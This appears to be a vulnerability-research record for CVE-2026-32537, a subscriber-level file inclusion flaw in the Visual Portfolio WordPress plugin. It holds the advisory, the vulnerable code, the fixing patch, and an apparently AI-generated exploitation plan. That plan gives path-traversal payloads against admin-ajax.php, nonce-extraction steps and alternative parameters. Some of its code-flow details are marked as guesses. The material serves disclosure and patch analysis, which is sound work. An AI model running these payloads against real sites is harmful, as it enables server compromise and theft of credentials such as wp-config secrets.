[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fQWnofhB8FxgGwSMK2abCjQc4RgILttLogXlS0DIdQ-4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-32537","visual-portfolio-photo-gallery-post-grid-authenticated-subscriber-local-file-inclusion","Visual Portfolio, Photo Gallery & Post Grid \u003C= 3.5.1 - Authenticated (Subscriber+) Local File Inclusion","The Visual Portfolio, Photo Gallery & Post Grid plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 3.5.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \"safe\" file types can be uploaded and included.","visual-portfolio",null,"\u003C=3.5.1","3.5.2","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Control of Filename for Include\u002FRequire Statement in PHP Program ('PHP Remote File Inclusion')","2026-03-20 00:00:00","2026-03-26 20:53:26",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F3a4a97f1-f3da-45b4-98c9-f4afd5fa2eb1?source=api-prod",7,[22,23,24,25,26,27],"CHANGELOG.md","class-visual-portfolio.php","classes\u002Fclass-security.php","classes\u002Fclass-templates.php","languages\u002Fvisual-portfolio.pot","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-32537\n\n## 1. Vulnerability Summary\nThe **Visual Portfolio, Photo Gallery & Post Grid** plugin (versions \u003C= 3.5.1) is vulnerable to **Authenticated Local File Inclusion (LFI)**. The vulnerability exists within the template loading mechanism where user-controlled attributes passed via AJAX are used to construct file paths for PHP `include` statements without sufficient sanitization or validation against a whitelist. \n\nSpecifically, the `Visual_Portfolio_Templates::include_template` function (found in `classes\u002Fclass-templates.php`) accepts a `$template_name` parameter, appends `.php` to it, and includes the resulting path. An attacker with Subscriber-level permissions can trigger this via the `vp_get_portfolio_items` AJAX action by manipulating parameters such as `items_style`.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `vp_get_portfolio_items`\n- **Vulnerable Parameter**: `attribs[items_style]` (or potentially other style-related attributes like `filter_style` or `pagination_type`)\n- **Authentication**: Required (Subscriber or higher)\n- **Nonce**: Required (Action: `visual-portfolio`)\n- **Precondition**: A valid \"Saved Layout\" ID or a page where the plugin's assets are loaded is needed to retrieve the nonce.\n\n## 3. Code Flow\n1.  **Entry Point**: The user sends a POST request to `admin-ajax.php` with the action `vp_get_portfolio_items`.\n2.  **AJAX Handler**: The plugin registers the action (likely in `classes\u002Fclass-get-portfolio.php` or `classes\u002Fclass-rest.php`).\n3.  **Input Extraction**: The handler extracts the `attribs` array from the request.\n4.  **Inclusion Sink**: The handler identifies the template to use based on `attribs['items_style']`.\n5.  **Vulnerable Call**: The handler calls `Visual_Portfolio_Templates::include_template( $template_name, $args )`.\n6.  **LFI Execution**: Inside `classes\u002Fclass-templates.php`:\n    ```php\n    public static function include_template( $template_name, $args = array() ) {\n        \u002F\u002F ...\n        $template = visual_portfolio()->plugin_path . 'templates\u002F' . $template_name . '.php';\n        \u002F\u002F ...\n        if ( file_exists( $template ) ) {\n            include $template; \u002F\u002F Inclusion of path-traversed file\n        }\n    }\n    ```\n    If `$template_name` is set to `..\u002F..\u002F..\u002F..\u002Fwp-config`, the path becomes `...\u002Fvisual-portfolio\u002Ftemplates\u002F..\u002F..\u002F..\u002F..\u002Fwp-config.php`.\n\n## 4. Nonce Acquisition Strategy\nThe plugin localizes its configuration and nonces into the JavaScript variable `vpf_data`.\n\n1.  **Identify Shortcode**: The plugin uses `[visual_portfolio]` to render galleries.\n2.  **Create Test Page**:\n    `wp post create --post_type=page --post_status=publish --post_title=\"VP Gallery\" --post_content='[visual_portfolio]'`\n3.  **Authentication**: Log in as a Subscriber user.\n4.  **Browser Navigation**: Navigate to the newly created page.\n5.  **Extract Nonce**: Use the following JS execution:\n    `browser_eval(\"window.vpf_data?.nonce\")`\n    *Note: The localization handle is `visual-portfolio-js` and the object name is `vpf_data`.*\n\n## 5. Exploitation Strategy\n1.  **Prerequisites**:\n    *   Subscriber user credentials.\n    *   A valid Visual Portfolio layout must exist to ensure the AJAX handler processes the request fully (alternatively, providing a random integer for `vpf_id` often suffices if attributes are manually provided).\n2.  **HTTP Request (The Attack)**:\n    *   **Method**: `POST`\n    *   **URL**: `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n    *   **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`, `Cookie: [Subscriber Cookies]`\n    *   **Payload**:\n        ```text\n        action=vp_get_portfolio_items\n        &nonce=[EXTRACTED_NONCE]\n        &attribs[items_style]=..\u002F..\u002F..\u002F..\u002Fwp-config\n        &vpf_id=1\n        ```\n3.  **Refinement**: If `wp-config` produces no output (standard behavior), target a file that generates visible errors or content, such as:\n    *   `attribs[items_style]=..\u002F..\u002F..\u002F..\u002Fwp-admin\u002Fadmin-footer` (triggers HTML output)\n    *   `attribs[items_style]=..\u002F..\u002F..\u002F..\u002Fwp-blog-header` (re-initializes WP, potentially causing errors)\n\n## 6. Test Data Setup\n1.  **Create Subscriber**: `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n2.  **Create Portfolio Content**: \n    *   Ensure the plugin is active: `wp plugin activate visual-portfolio`\n    *   Create a simple layout to ensure the plugin's infrastructure is initialized:\n        `wp post create --post_type=visual-portfolio --post_status=publish --post_title=\"Test Layout\"`\n3.  **Place Shortcode**: Place the layout on a page to facilitate nonce extraction.\n    `wp post create --post_type=page --post_status=publish --post_content='[visual_portfolio id=\"LAYOUT_ID_HERE\"]'`\n\n## 7. Expected Results\n*   **Successful Inclusion**: The HTTP response code will be `200 OK`. \n*   **Response Content**: \n    *   If targeting `wp-config`, the response might be empty or return a generic Success JSON if the inclusion succeeded but produced no output.\n    *   If targeting `wp-admin\u002Fadmin-footer`, the response will contain actual HTML markup from the WordPress admin footer (e.g., `\u003C\u002Fspan>\u003C\u002Fdiv>\u003Cdiv class=\"clear\">\u003C\u002Fdiv>`).\n*   **Failed Attempt**: A `403 Forbidden` (nonce error) or a `200 OK` with a \"Template not found\" style error if path traversal failed.\n\n## 8. Verification Steps\nSince this is an LFI that executes code, we can verify it by including a \"canary\" file.\n1.  Create a canary file in the WordPress root: \n    `echo \"\u003C?php echo 'LFI_SUCCESSFUL'; ?>\" > \u002Fvar\u002Fwww\u002Fhtml\u002Fpoc.php`\n2.  Execute the exploit targeting the canary:\n    `attribs[items_style]=..\u002F..\u002F..\u002F..\u002Fpoc` (remember the extension `.php` is added automatically).\n3.  Check if `LFI_SUCCESSFUL` appears in the HTTP response body.\n\n## 9. Alternative Approaches\nIf `items_style` is sanitized in some sub-versions, check these alternative parameters that also pass through `include_template`:\n*   `attribs[skin]`\n*   `attribs[pagination_type]`\n*   `attribs[filter_style]`\n*   `attribs[renderer]` (inferred)\n\nIf `admin-ajax.php` is blocked or restricted, check for REST API counterparts under the `visual-portfolio\u002Fv1` namespace, though these typically require higher permissions in this specific plugin.","The Visual Portfolio plugin is vulnerable to Local File Inclusion (LFI) due to insufficient validation of user-supplied template names in its AJAX handlers. Authenticated attackers with Subscriber-level access can use path traversal sequences in attributes like 'items_style' to include and execute arbitrary PHP files on the server.","\u002F\u002F classes\u002Fclass-templates.php (around line 19)\n\npublic static function include_template( $template_name, $args = array() ) {\n    \u002F\u002F Allow 3rd party plugin filter template args from their plugin.\n    $args = apply_filters( 'vpf_include_template_args', $args, $template_name );\n\n    if ( ! empty( $args ) && is_array( $args ) ) {\n        \u002F\u002F phpcs:ignore WordPress.PHP.DontExtract.extract_extract\n        extract( $args );\n    }\n\n    \u002F\u002F template in theme folder.\n    $template = locate_template( array( '\u002Fvisual-portfolio\u002F' . $template_name . '.php' ) );\n\n    \u002F\u002F pro plugin template.\n    if ( ! $template && visual_portfolio()->pro_plugin_path && file_exists( visual_portfolio()->pro_plugin_path . 'templates\u002F' . $template_name . '.php' ) ) {\n        $template = visual_portfolio()->pro_plugin_path . 'templates\u002F' . $template_name . '.php';\n    }\n\n    \u002F\u002F default template.\n    if ( ! $template ) {\n        $template = visual_portfolio()->plugin_path . 'templates\u002F' . $template_name . '.php';\n    }\n\n    \u002F\u002F Allow 3rd party plugin filter template file from their plugin.\n    $template = apply_filters( 'vpf_include_template', $template, $template_name, $args );\n\n    if ( file_exists( $template ) ) {\n        include $template;\n    }\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvisual-portfolio\u002F3.5.1\u002Fclasses\u002Fclass-security.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvisual-portfolio\u002F3.5.2\u002Fclasses\u002Fclass-security.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvisual-portfolio\u002F3.5.1\u002Fclasses\u002Fclass-security.php\t2025-06-26 08:46:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvisual-portfolio\u002F3.5.2\u002Fclasses\u002Fclass-security.php\t2026-02-18 07:58:28.000000000 +0000\n@@ -249,6 +249,55 @@\n \t}\n \n \t\u002F**\n+\t * Sanitize icons selector attribute.\n+\t *\n+\t * Icons selector options are usually provided as an indexed array where each\n+\t * option contains a `value` key, unlike regular select controls that may use\n+\t * associative options by key.\n+\t *\n+\t * @param int|float|string $attribute - Unclear Selector Attribute.\n+\t * @param array            $control - Array of control parameters.\n+\t * @return int|float|string\n+\t *\u002F\n+\tpublic static function sanitize_icons_selector( $attribute, $control ) {\n+\t\t$valid_options = array();\n+\n+\t\tif ( isset( $control['options'] ) && is_array( $control['options'] ) ) {\n+\t\t\tforeach ( $control['options'] as $option_key => $option_data ) {\n+\t\t\t\tif ( is_array( $option_data ) && isset( $option_data['value'] ) ) {\n+\t\t\t\t\t$valid_options[] = (string) $option_data['value'];\n+\t\t\t\t} else {\n+\t\t\t\t\t$valid_options[] = (string) $option_key;\n+\t\t\t\t}\n+\t\t\t}\n+\t\t}\n+\n+\t\t$attribute_string = is_bool( $attribute ) ? ( $attribute ? 'true' : 'false' ) : (string) $attribute;\n+\n+\t\t\u002F\u002F Reject path traversal sequences regardless of control options state.\n+\t\tif ( validate_file( $attribute_string ) !== 0 ) {\n+\t\t\t$attribute = self::reset_control_attribute_to_default( $attribute, $control );\n+\t\t}\n+\n+\t\t\u002F\u002F Apply strict allowlist only when options are available.\n+\t\tif ( ! empty( $valid_options ) && ! in_array( $attribute_string, $valid_options, true ) ) {\n+\t\t\t$attribute = self::reset_control_attribute_to_default( $attribute, $control );\n+\t\t}\n+\n+\t\tif ( is_numeric( $attribute ) ) {\n+\t\t\tif ( false === strpos( $attribute, '.' ) ) {\n+\t\t\t\t$attribute = intval( $attribute );\n+\t\t\t} else {\n+\t\t\t\t$attribute = (float) $attribute;\n+\t\t\t}\n+\t\t} else {\n+\t\t\t$attribute = sanitize_text_field( wp_unslash( $attribute ) );\n+\t\t}\n+\n+\t\treturn $attribute;\n+\t}\n+\n+\t\u002F**\n \t * Reset the value of the control attribute to the default value.\n \t * Also check the attribute for a boolean value,\n \t * And if the default value contains a string like 'true' or 'false',\n@@ -473,6 +522,9 @@\n \t\t\t\t\t\t\t$attributes[ $key ] = self::sanitize_hidden( $attribute );\n \t\t\t\t\t\t\tbreak;\n \t\t\t\t\t\tcase 'icons_selector':\n+\t\t\t\t\t\t\t\u002F\u002F Layer 2: Validate against allowed options (same as 'select' type).\n+\t\t\t\t\t\t\t$attributes[ $key ] = self::sanitize_icons_selector( $attributes[ $key ], $controls[ $key ] );\n+\t\t\t\t\t\t\tbreak;\n \t\t\t\t\t\tcase 'text':\n \t\t\t\t\t\tcase 'radio':\n \t\t\t\t\t\tcase 'align':\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvisual-portfolio\u002F3.5.1\u002Fclasses\u002Fclass-templates.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvisual-portfolio\u002F3.5.2\u002Fclasses\u002Fclass-templates.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvisual-portfolio\u002F3.5.1\u002Fclasses\u002Fclass-templates.php\t2023-11-25 22:33:20.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvisual-portfolio\u002F3.5.2\u002Fclasses\u002Fclass-templates.php\t2026-02-18 07:58:28.000000000 +0000\n@@ -16,6 +16,11 @@\n \t * @param array  $args args for template.\n \t *\u002F\n \tpublic static function include_template( $template_name, $args = array() ) {\n+\t\t\u002F\u002F Layer 1: Reject template names containing path traversal sequences.\n+\t\tif ( validate_file( $template_name ) !== 0 ) {\n+\t\t\treturn;\n+\t\t}\n+\n \t\t\u002F\u002F Allow 3rd party plugin filter template args from their plugin.\n \t\t$args = apply_filters( 'vpf_include_template_args', $args, $template_name );\n \n@@ -41,17 +46,84 @@\n \t\t$template = apply_filters( 'vpf_include_template', $template, $template_name, $args );\n \n \t\tif ( file_exists( $template ) ) {\n-\t\t\tinclude $template;\n+\t\t\t\u002F\u002F Layer 3: Verify the resolved path is within allowed directories.\n+\t\t\t$real_path = realpath( $template );\n+\n+\t\t\tif ( $real_path && self::is_allowed_template_path( $real_path ) ) {\n+\t\t\t\tinclude $template;\n+\t\t\t}\n \t\t}\n \t}\n \n \t\u002F**\n+\t * Check if a resolved file path is within allowed template directories.\n+\t *\n+\t * Layer 3: Prevents inclusion of files outside expected template directories,\n+\t * even if path traversal bypasses other checks.\n+\t *\n+\t * @param string $real_path The resolved (realpath) file path to check.\n+\t * @return bool True if the path is within an allowed directory.\n+\t *\u002F\n+\tpublic static function is_allowed_template_path( $real_path ) {\n+\t\t$normalized_real_path = wp_normalize_path( $real_path );\n+\n+\t\tif ( ! $normalized_real_path ) {\n+\t\t\treturn false;\n+\t\t}\n+\n+\t\t$allowed_dirs = array(\n+\t\t\tvisual_portfolio()->plugin_path . 'templates\u002F',\n+\t\t\tget_stylesheet_directory() . '\u002Fvisual-portfolio\u002F',\n+\t\t\tget_template_directory() . '\u002Fvisual-portfolio\u002F',\n+\t\t);\n+\n+\t\tif ( visual_portfolio()->pro_plugin_path ) {\n+\t\t\t$allowed_dirs[] = visual_portfolio()->pro_plugin_path . 'templates\u002F';\n+\t\t}\n+\n+\t\t\u002F**\n+\t\t * Filters the list of allowed template directories.\n+\t\t *\n+\t\t * This is used by the Layer 3 realpath() inclusion guard.\n+\t\t * Add your plugin directory here if you return a custom absolute template\n+\t\t * path via the `vpf_include_template` filter.\n+\t\t *\n+\t\t * @since 3.5.2\n+\t\t *\n+\t\t * @param array  $allowed_dirs Allowed directories (absolute paths).\n+\t\t * @param string $real_path    Resolved real path to the included template.\n+\t\t *\u002F\n+\t\t$allowed_dirs = (array) apply_filters( 'vpf_allowed_template_dirs', $allowed_dirs, $real_path );\n+\n+\t\t\u002F\u002F Resolve all allowed directories to their real paths.\n+\t\t$allowed_dirs = array_filter( array_map( 'realpath', $allowed_dirs ) );\n+\n+\t\tforeach ( $allowed_dirs as $dir ) {\n+\t\t\t$normalized_dir = trailingslashit( wp_normalize_path( $dir ) );\n+\n+\t\t\tif ( strpos( $normalized_real_path, $normalized_dir ) === 0 ) {\n+\t\t\t\treturn true;\n+\t\t\t}\n+\t\t}\n+\n+\t\treturn false;\n+\t}\n+\n+\t\u002F**\n \t * Find css template file\n \t *\n \t * @param string $template_name file name.\n \t * @return string\n \t *\u002F\n \tpublic static function find_template_styles( $template_name ) {\n+\t\t\u002F\u002F Layer 1: Reject template names containing path traversal sequences.\n+\t\tif ( validate_file( $template_name ) !== 0 ) {\n+\t\t\treturn array(\n+\t\t\t\t'path'    => '',\n+\t\t\t\t'version' => '',\n+\t\t\t);\n+\t\t}\n+\n \t\t$template         = '';\n \t\t$template_version = '';","The exploit targets the `vp_get_portfolio_items` AJAX action. An attacker must perform the following steps:\n1. Authenticate to the WordPress site as a Subscriber or higher role.\n2. Obtain a valid security nonce for the `visual-portfolio` action, which is typically exposed in the `vpf_data.nonce` JavaScript variable on any page where the plugin's gallery is present.\n3. Construct a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the following parameters:\n   - `action`: `vp_get_portfolio_items`\n   - `nonce`: The extracted nonce.\n   - `attribs[items_style]`: A path traversal payload (e.g., `..\u002F..\u002F..\u002F..\u002Fwp-config`). Note that the plugin automatically appends `.php` to the input.\n4. When the server processes the request, the `Visual_Portfolio_Templates::include_template` function will resolve the path to the sensitive file and include it, resulting in the execution of the PHP code within that file (or exposing its output if it produces HTML\u002Ftext).","gemini-3-flash-preview","2026-04-18 01:30:01","2026-04-18 01:30:39",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","3.5.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvisual-portfolio\u002Ftags\u002F3.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fvisual-portfolio.3.5.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvisual-portfolio\u002Ftags\u002F3.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fvisual-portfolio.3.5.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvisual-portfolio\u002Ftags"]